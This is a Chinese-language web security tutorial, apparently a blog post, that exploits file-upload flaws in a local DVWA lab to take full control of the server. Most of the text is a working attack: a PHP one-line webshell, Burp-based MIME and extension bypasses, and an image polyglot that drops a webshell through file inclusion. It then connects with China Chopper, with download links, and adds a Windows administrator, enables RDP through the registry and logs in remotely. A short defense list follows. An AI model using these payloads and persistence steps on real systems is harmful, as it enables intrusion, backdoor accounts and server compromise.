文件上传漏洞的概括

现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型.

此时攻击者就可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(php,jsp、aspx,asp文件后缀)到服务器上,并将恶意文件传递给网站脚本语言去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作.

目录

文件上传漏洞危害:

文件上传漏洞 的利用步骤:

第一步:编写一个一句话木马(文件类型为PHP).

第二步:找到漏洞的上传点.(没有做任何的过滤下.)

第三步:找到漏洞的上传点.(有做文件类型的过滤下.)

第四步:找到漏洞的上传点.(利用图片木马来绕过.)

文件上传漏洞的防御:

(1)对文件的  后缀进行检测.

(2)在前端布置web防火墙,检测上传的是否有eval($_POST[])这样的标记.

(3)文件上传的目录设置为不可执行(只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响.)

(4)使用随机数改写文件名和文件路径(文件上传如果要执行代码,则需要用户能够访问到这个文件.)

(5)提高开发人员的安全意识,尤其是采用PHP语言开发系统(在程序开发阶段应充分考虑程序的安全性.)

(6)应用系统上线后,要增加运维人员的安全意思,积极使用多个安全检测工具对应用系统进行安全扫描,及时发现潜在漏洞并修复.


免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


文件上传漏洞危害:

(1)上传漏洞与SQL注入或 XSS相比,其风险更大,如果 Web应用程序存在上传漏洞,攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行.

(2)但是攻击者要是上传的文件是病毒、木马文件,就可以诱骗用户或者管理员下载执行。如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。


靶场:

本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.1.104)

DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客


工具下载:

菜刀的链接:链接:https://pan.baidu.com/s/1hHAtJk2W5RWwuQbF8GKznQ 
                     提取码:tian 

010Editor(查看图片的木马代码):链接:https://pan.baidu.com/s/1kAwW2GXhXizVIAUq4DRr3g 
                   提取码:tian 


文件上传漏洞 的利用步骤:

第一步:编写一个一句话木马(文件类型为PHP).

<?php@eval($_POST['bgxg']);
?>

第二步:找到漏洞的上传点.(没有做任何的过滤下.

 (1)把写好的 木马 上传到服务器中.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(2) 然后去浏览木马的位置,看看 木马 有没有被服务器给执行了.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(3) 然后用 工具 去连接这个 木马 的位置.

木马的位置:http://192.168.1.104:801/dvwa/hackable/uploads/bgxg.php

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(4)就可以控制服务器中的数据 进行(读取,下载,修改,删除 等操作.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(5)也可以打开服务器的 虚拟终端.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(6)利用 虚拟终端 给服务器添加管理员,然后再利用3389端口 进行远程连接服务器.

1.添加新的用户:    

net user 用户名 密码 /add

2.权限提升为管理员:   

 net localgroup Administrators 用户名 /add

3.查看用户名信息:    

net user  

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


4.开启服务器的3389端口.

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


5.远程连接服务器.

用渗透机(kali):  sudo xfreerdp /u:bgxg3 /p:bgxg3 /v:192.168.1.104 (sudo xfreerdp /u:用户名 /p:密码 /v:要连接的IP地址)

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


已成功 远程连接服务器.(成功拿到服务器的所有所有权.)

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


第三步:找到漏洞的上传点.(有做文件类型的过滤下.)

(1)把木马文件命名为:bgxg.php.png

(2)在上传的时候,用 Burp 抓包.

(1) 绕过 文件类型 方式:把 php 的文件类型:application/x-php 改为图形类型:image/jpeg
(2) 绕过 文件后缀名 方式:在文件命名的时候 .php 的后面加 .png 或 .jpeg        
比如:bgxg.php.png        然后再把 .ing 删除就行.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


绕过使用的:常见的 MIME 类型

    超文本标记语言文本 .html,.html text/html 普通文本 .txt text/plain RTF文本 .rtf application/rtf GIF图形 .gif image/gif 
#     JPEG图形 .jpeg,.jpg image/jpeg au声音文件 .au audio/basic MIDI音乐文件 mid,.midi audio/midi,audio/x-midi RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio MPEG文件 .mpg,.mpeg video/mpeg AVI文件 .avi video/x-msvideo GZIP文件 .gz application/x-gzip TAR文件 .tar application/x-tar
#      PNG图像文件:.png image/png 

第四步:找到漏洞的上传点.(利用图片木马来绕过.)

前提是:服务器也有文件包含漏洞(用来执行图片木马里面的代码.)

(1)制作一句话图片木马.

 1. 命令:cat bg.jpeg xg.php > bgxg.png  ( cat 图片.jpeg 一句话木马.php > 生成的图片.png)
xg.php 文件里面的代码:<?php fputs(fopen('bgxg.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(2)利用二进制工具 010Editor(使用010Editor打开图片,可以看见xg.php文件的一句话木马.)

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(3)把制作的图片木马,上传到服务器中去.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(4)利用 文件包含漏洞 来执行刚刚上传的 bgxg.png 图片木马的代码.

命令:http://192.168.1.104:801/dvwa/vulnerabilities/fi/page=http://192.168.1.104:801/dvwa/hackable/uploads/bgxg.png

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(5)执行了图片木马的代码后,会在文件包含漏洞的目录下生成一个 bgxg.php 文件木马.

http://192.168.1.104:801/dvwa/vulnerabilities/fi/bgxg.php

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(6)利用 工具 来连接图片生成的木马.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


(7)连接成功.(拿到服务器的最高权限.

Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)-编程之家


文件上传漏洞的防御:

(1)对文件的  后缀进行检测.

(2)在前端布置web防火墙,检测上传的是否有eval($_POST[])这样的标记.

(3)文件上传的目录设置为不可执行(只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响.

(4)使用随机数改写文件名和文件路径(文件上传如果要执行代码,则需要用户能够访问到这个文件.

(5)提高开发人员的安全意识,尤其是采用PHP语言开发系统(在程序开发阶段应充分考虑程序的安全性.

(6)应用系统上线后,要增加运维人员的安全意思,积极使用多个安全检测工具对应用系统进行安全扫描,及时发现潜在漏洞并修复.

     


参考链接:文件上传漏洞攻击与防范方法_m0_38103658的博客-CSDN博客_文件上传漏洞

参考链接:文件上传漏洞学习笔记—原理、危害、解析、绕过、编辑器、服务器 – 哔哩哔哩